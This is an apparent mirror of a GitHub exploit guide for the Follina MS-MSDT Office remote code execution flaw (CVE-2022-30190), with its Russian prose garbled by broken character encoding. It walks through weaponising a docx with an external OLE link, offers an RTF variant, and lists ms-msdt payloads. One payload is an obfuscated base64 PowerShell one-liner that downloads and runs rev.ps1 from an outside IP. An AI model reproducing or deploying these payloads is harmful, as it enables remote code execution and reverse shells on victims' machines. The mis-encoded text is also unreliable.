## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XFLAGPLZ-MS-MSDT-OFFICE-RCE-FOLLINA
# MS-MSDT-Office-RCE-Follina
CVE-2022-30190 | MS-MSDT Follina ΠΠ΄ΠΈΠ½ ΠΊΠ»ΠΈΠΊ
1. Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ ΡΠ°ΠΉΠ» Docx.
2. Π ΡΠ°ΠΉΠ»Π΅ Docx: ΠΡΡΠ°Π²ΠΊΠ° > ΠΠ±ΡΠ΅ΠΊΡ > Π’ΠΎΡΠ΅ΡΠ½ΡΠΉ ΡΠΈΡΡΠ½ΠΎΠΊ > ΠΠΊ
3. Π Π·Π°ΠΏΡΡΠ΅Π½Π½ΠΎΠΌ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Paint ΡΠΎΡ
ΡΠ°Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ» Paint.
4. Π‘ΠΎΡ
ΡΠ°Π½ΠΈΡΠ΅ Π²Π°Ρ ΡΠ°ΠΉΠ» Docx.
5. ΠΡΠΊΡΠΎΠΉΡΠ΅ Π²Π°Ρ ΡΠ°ΠΉΠ» ΠΊΠ°ΠΊ Π°ΡΡ
ΠΈΠ² (Ρ ΠΏΠΎΠΌΠΎΡΡΡ 7Zip; ΠΡΠ°Π²ΡΠΉ ΠΊΠ»ΠΈΠΊ > 7Zip > ΠΡΠΊΡΡΡΡ Π°ΡΡ
ΠΈΠ².)
6. Π‘ΠΊΠΎΠΏΠΈΡΡΠΉΡΠ΅ Document.xml ΠΈΠ· \Word\ ΠΈ ΡΠ°ΠΉΠ» document.xml.rels ΠΈΠ· \word_rels\
7. ΠΡΠΊΡΠΎΠΉΡΠ΅/ΠΎΡΡΠ΅Π΄Π°ΠΊΡΠΈΡΡΠΉΡΠ΅ \word_rels\Document.xml.rels ΠΈ Π½Π°ΠΉΠ΄ΠΈΡΠ΅ XML-ΡΠ΅Π³ ΠΎΡΠ½ΠΎΡΠ΅Π½ΠΈΡ Ρ "/relationships/oleObject". ΠΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ Π·Π°ΠΌΠ΅Π½ΠΈΡΠ΅ Π°Π΄ΡΠ΅Ρ Π² "Target=" Π½Π° Π²Π°Ρ ΡΠ΄Π°Π»Π΅Π½Π½ΡΠΉ Π°Π΄ΡΠ΅Ρ, ΠΎΡΠΊΡΠ΄Π° Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½Π° Π½Π°Π³ΡΡΠ·ΠΊΠ°. Π’Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡΡΠ΅ "TargetMode="External"" Π² XML-ΡΠ΅Π³.
8. Π‘ΠΎΠΆΠΌΠΈΡΠ΅ ΠΎΠ±ΡΠ°ΡΠ½ΠΎ Π² ΡΠ°ΠΉΠ» Docx (ΠΡΠΏΡΠ°Π²ΠΈΡΡ > Π‘ΠΆΠ°ΡΠ°Ρ ZIP-ΠΏΠ°ΠΏΠΊΠ° | ΠΠ΅ΡΠ΅ΠΈΠΌΠ΅Π½ΡΠΉΡΠ΅ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ ΡΠ°ΠΉΠ»Π° Ρ zip Π½Π° docx/doc)
* * *
### Π’ΠΈΠΏ ΡΠ°ΠΉΠ»Π° RTF
ΠΠΎΡΠ»Π΅ ΡΠΎΠ³ΠΎ ΠΊΠ°ΠΊ docx-ΡΠ°ΠΉΠ» ΡΠΎΡ
ΡΠ°Π½Π΅Π½ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ² ΡΠ°Π³Π° / ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ² Π½ΠΈΠΆΠ΅. Π‘ΠΎΡ
ΡΠ°Π½ΠΈΡΠ΅ Docx ΠΊΠ°ΠΊ RTF.
> ΠΡΠ»ΠΈ Π²Ρ ΡΠ°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡΠ΅ ΡΡΠΈ ΡΠ»Π΅ΠΌΠ΅Π½ΡΡ ΠΏΠΎΠ΄ ΡΠ»Π΅ΠΌΠ΅Π½Ρ `<o:OLEObject>` Π² `word/document.xml`:
root@kitploit:~
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
* * *
ΠΡΠΎΡΠ΅ΡΡ ΠΏΠΎΠ²ΡΠΎΡΠ½ΠΎΠΉ Π°ΡΡ
ΠΈΠ²Π°ΡΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ°ΠΊΠΆΠ΅ ΡΠ²ΠΈΠ΄Π΅ΡΡ Π² ΡΠΊΡΠΈΠΏΡΠ΅ Python ΠΎΡ JohnHammond: ~ Rebuild the original office file ~
root@kitploit:~
shutil.make_archive(args.output, "zip", doc_path)
os.rename(args.output + ".zip", args.output)
Π‘ΡΡΠ»ΠΊΠ°: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py
* * *
## ΠΠΎΠ»Π΅Π·Π½ΡΠ΅ Π½Π°Π³ΡΡΠ·ΠΊΠΈ
### ΠΠ°Π·ΠΎΠ²ΡΠΉ Π·Π°ΠΏΡΡΠΊ ΠΊΠ°Π»ΡΠΊΡΠ»ΡΡΠΎΡΠ°:
root@kitploit:~
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
ΠΠΎΠΆΠ½ΠΎ Π·Π°ΠΌΠ΅Π½ΠΈΡΡ `Start-Process('calc')` Π½Π°:
> `IEX('calc.exe')`
* * *
### ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΠ΅ΡΠ΅Π· ΠΎΠ±ΡΠΈΠΉ ΡΠ΅ΡΡΡΡ SMB:
root@kitploit:~
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>
* * *
### ΠΠ°Π³ΡΡΠ·ΠΊΠ° PS1-ΡΠ°ΠΉΠ»Π°:
root@kitploit:~
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
ΠΠ΅ΠΊΠΎΠ΄ΠΈΡΠΎΠ²Π°Π½ΠΎ:
root@kitploit:~
Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))))
* * *
### Apache2 access.log Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡΠΎΠ±ΡΠ°Π·ΠΈΡΡ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ ΠΏΡΠΈ ΠΎΡΠΊΡΡΡΠΈΠΈ ΡΠ°ΠΉΠ»Π°
